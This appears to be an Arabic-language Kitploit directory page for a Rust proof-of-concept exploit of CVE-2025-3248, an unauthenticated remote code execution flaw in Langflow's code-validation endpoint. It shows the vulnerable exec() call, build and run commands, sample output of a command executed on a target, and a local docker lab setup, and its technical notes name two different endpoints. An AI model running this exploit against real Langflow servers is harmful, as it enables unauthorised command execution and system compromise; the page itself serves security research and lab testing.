Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-3248-POC — # استغلال إثبات المفهوم مبني على Rust لـ CVE-2025-3248 ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة بدون مصادقة في Langflow عبر `/api/v1/validate/code`، مما يسمح بتنفيذ أوامر عشوائية. | Kitploit
أدوات/GitHubGitHub/b0ysie7e/cve-2025-3248-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubb0ysie7e/cve-2025-3248-poc

CVE-2025-3248-POC

# استغلال إثبات المفهوم مبني على Rust لـ CVE-2025-3248 ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة بدون مصادقة في Langflow عبر `/api/v1/validate/code`، مما يسمح بتنفيذ أوامر عشوائية.

عرض المستودع
18منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال RCE في Langflow - CVE-2025-3248

⚠️ إخلاء مسؤولية
هذا الكود مخصّص لأغراض تعليمية وبحثية فقط. الاستخدام غير المصرّح به على الأنظمة دون إذن صريح قد يُشكّل انتهاكًا للقانون.
المؤلف غير مسؤول عن أي إساءة استخدام أو نشاط خبيث يتعلق بهذه الأداة.


معلومات الثغرة

CVE-2025-3248 - حرجة

درجة CVSS: 9.8 | درجة EPSS: 92.57% | نُشرت: 22 مايو 2025

الإصدارات المتأثرة

  • قابلة للاستغلال: جميع الإصدارات ≤ v1.3.0
  • تم التصحيح: الإصدارات v1.3.0+

متجه الهجوم

يقبل الموقع /api/v1/validate/code كود بايثون غير منقّى وينفّذه مباشرةً باستخدام exec()، دون الحاجة إلى مصادقة.

الكود القابل للاستغلال

# langflow/api/builder/execute.py
exec(code)  # No input validation or sandboxing!

التحليل الفني

يعرّض Langflow نقطة النهاية /api/v1/builder/execute_code التي تأخذ كود Python المُقدَّم من المستخدم وتمرّره مباشرةً إلى exec() في الخادم الخلفي. وبما أنه لا توجد مصادقة أو عزل (sandboxing)، يمكن للمهاجمين صياغة حمولات اعتباطية لتنفيذ الأوامر.

تنفيذ الاستغلال

المتطلبات

  • Rust 1.70+ (التثبيت عبر rustup)
  • Cargo (مدير حزم Rust)
# Clone repository
git clone <repo-url>
cd CVE-2025-3248-POC

cargo build --release

# ./target/release/CVE-2025-3248-POC
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"

مثال:

❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860, 
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)   

إعداد المختبر المحلي

بدء سريع

> cd lab
> sudo docker-compose up -d

> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'

إيقاف المختبر

> sudo docker-compose down
تنزيل الأداة